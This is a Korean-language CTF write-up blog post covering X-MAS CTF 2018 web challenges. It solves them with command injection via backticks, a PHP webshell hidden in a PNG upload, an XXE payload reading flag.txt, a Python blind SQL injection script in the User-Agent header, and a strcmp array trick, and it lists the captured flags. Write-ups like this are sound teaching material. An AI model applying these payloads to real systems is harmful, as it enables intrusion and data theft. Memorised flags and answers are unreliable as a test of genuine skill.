Santa's Helper Mechagnome


문제에서 제공하는 디코 계정에서 말을 걸어보면 아래와 같은 기능들을 제공한다.



여기서 sendletter 기능 사용 시 메시지 내용에서 command injection이 터진다.


이를 이용해서 restart 코드를 가져와서 입력해주면 된다.


sendletter randdev@santa.com `cat robot_restart_codes.txt`



Flag = X-MAS{Wh0_Kn3W_4_H3lp3r_M3ch4gN0m3_W0uLd_b3_S0_vULN3R4bL3}





Santa's lucky number


문제에 들어가보면 페이지 넘버에 따라 출력되는 hash값이 다르다. 그냥 Brute Forcing으로 1~2000까지 넣어보니 플래그가 있었다.


Flag = X-MAS{W00pS_S0m30n3_73l1_S4n7a_h1s_c00k1eS_Ar3_BuRn1ng}






GnomeArena: Rock Paper Scissors


웹쉘 문제다. 업로드 기능이 있는데 업로드된 파일명이 프로필 네임을 가지고 저장된다. 이 때 확장자 검증이 없어서 php 확장자로 그냥 웹쉘 올려주면되는데 파일 헤더를 검증해 이미지파일인지 확인을 하고있어 png파일 마지막부분에 php 코드를 넣어서 업로드 해주면 된다.


Flag = X-MAS{Ev3ry0ne_m0ve_aw4y_th3_h4ck3r_gn0m3_1s_1n_t0wn}






Gnome's BU77ons


들어가보면 버튼 하나만 떡하니 있다. 해당 버튼 클릭 후 파라미터 값에 flag를 넣어주면 된다. 


X-MAS{PhPs_A1n7_m4d3_f0r_bu77_0ns___:)}






Our Christmas Wishlist


간단한 XXE 문제다. .htaccess 파일 읽어보면 플래그 파일명이 존재한다. 해당 플래그 파일 읽어주면 된다.


<?xml version="1.0"?>

<!DOCTYPE ssr[

<!ENTITY ssrtest SYSTEM "php://filter/convert.base64-encode/resource=flag.txt">

]>

<message>&ssrtest;</message>


Flag = X-MAS{_The_Ex73rnal_Ent1t13$_W4n7_To__Jo1n_7he_p4r7y__700______}






Santa's No Password Login System


User-Agent에서 Blind SQLI가 터진다.


별도의 필터링이 없어서 그냥 데이터 쭉쭉 뽑아오면 플래그가 나온다.


import requests


def get_flag(payload):

    url = "http://199.247.6.180:12003/"

    header = {'User-Agent':payload}

    response = requests.get(url,headers=header).text

    if "Welcome" in response:

        return True

    else:

        return False



flag = ""

for i in range(1,50):

    binary = ""

    for j in range(1,9):

        payload = "' or 1=if(substring(lpad(bin(ord(substring(ua,"+str(i)+",1))),8,0),"+str(j)+",1)=1,1,0)#"

        if get_flag(payload)==True:

            binary += "1"

        else:

            binary += "0"

    if binary != "00000000":

        flag += chr(int(binary,2))

        print "[-]Find Flag = "+flag

        

print "[*]Find Flag = "+flag


Flag = X-MAS{EV3RY0NE_F34R5_TH3_BL1ND_GN0M3}






Reindeers and cookies


문제에 들어가보면 쿠키 값에 다음과 같은 값들이 있다.


adminpass=MyLittleCookie%21; cookiez=WlhsS2NGcERTVFpKYWtscFRFTktNR1ZZUW14SmFtOXBXak5XYkdNelVXbG1VVDA5


먼저 Base64된 값을 쭉 디코딩해보면 아래와 같은 값이 나오는데 type을 admin으로 변경해서 다시 인코딩해보면 admin password가 틀리다고 나온다.


{"id":"2","type":"guest"} -> {"id":"2","type":"admin"}


sqli는 안먹히길래 php trick류로 생각했고 비교할 때 strcmp를 쓰나하고 adminpass를 array로 넘겨주니 플래그가 나왔다.


Flag = X-MAS{S4n74_L0v35__C00kiesss_And_Juggl1ng!}





















'CTF > Writeup' 카테고리의 다른 글

35C3 CTF 2018 php  (0) 2018.12.30
Codegate 2014 clone technique  (1) 2018.12.29
hwp CTF 2018 unpack0r  (0) 2018.12.10
TenDollar CTF 2018 Cat-Proxy  (0) 2018.12.02
TenDollar CTF 2018 Kou  (0) 2018.12.01
블로그 이미지

JeonYoungSin

메모 기록용 공간

,